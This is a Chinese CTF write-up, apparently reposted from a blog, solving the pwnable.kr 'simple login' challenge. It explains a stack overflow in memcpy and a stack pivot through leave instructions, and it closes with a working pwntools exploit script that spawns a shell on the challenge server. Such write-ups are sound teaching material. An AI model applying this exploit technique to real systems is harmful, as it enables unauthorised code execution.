PWN学习之[Rookiss]-[simple login]

文件下载下来后是个elf可执行文件
用IDA反编译后可以看到溢出点在auth函数中

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

memcpy函数将input的值copy至v4地址中,导致栈溢出。

image

通过gdb查看栈,其中绿色箭头为v4的地址红色箭头为auth函数返回地址,可以看到如果覆盖返回地址需要填充12个字节,13-16个字节改变返回地址

但是,本题要求输入字符通过base64解码且解码后长度不能超过12个

 v6 = Base64Decode((int)&v5, &v4);
  if ( v6 > 0xC )
  {
    puts("Wrong Length");
  }

这就比较尴尬了….陷入懵逼循环中…

最后看到http://www.cnblogs.com/anewid/p/4567242.html这篇博客才知道如何去做,感谢大佬

关键在于leave指令

leave指令等同于下面两条命令(32位)

mov esp, ebp
pop ebp;

该命令会将esp中的值给ebp,同时esp自身会+4

该指令执行完之后结果为:

esp = ebp + 4,ebp = [ebp]

因为在auth函数和main函数中最后都有leave指令,所以我们可以构造一个这样的payload:
‘aaaa’+system的地址+该输入存储的地址

输入后栈中情况为这样
image

可见输入的数据与返回地址只有一步之遥,
再联想刚才说的leave指令,怎么样?懂了吧!
auth函数中的leave指令会将ESP改为EBP+4既函数返回地址,将EBP的值改为0x811eb40的值既刚才输入的首地址然后函数返回,程序继续执行

此时的EBP的值已经被改为输入的首地址,当程序执行到main函数的leave指令时,将EBP加4赋值给ESP,刚才EBP的值已经被改为我们输入的首地址了,再加4即为system的地址!

就这样,我们成功get shell
获得flag:control EBP, control ESP, control EIP, control the world~

脚本如下

from pwn import *
import base64
sysaddr=0x8049284
inaddr=0x811EB40
shellcode='aaaa'+p32(sysaddr)+p32(inaddr)
shellcode=base64.b64encode(shellcode)
#print shellcode
con=remote('pwnable.kr',9003)
#con=process('./login')
con.recvuntil('Authenticate : ')
con.sendline(shellcode)
con.interactive()

猜你喜欢

转载自blog.csdn.net/Magic1an/article/details/77418315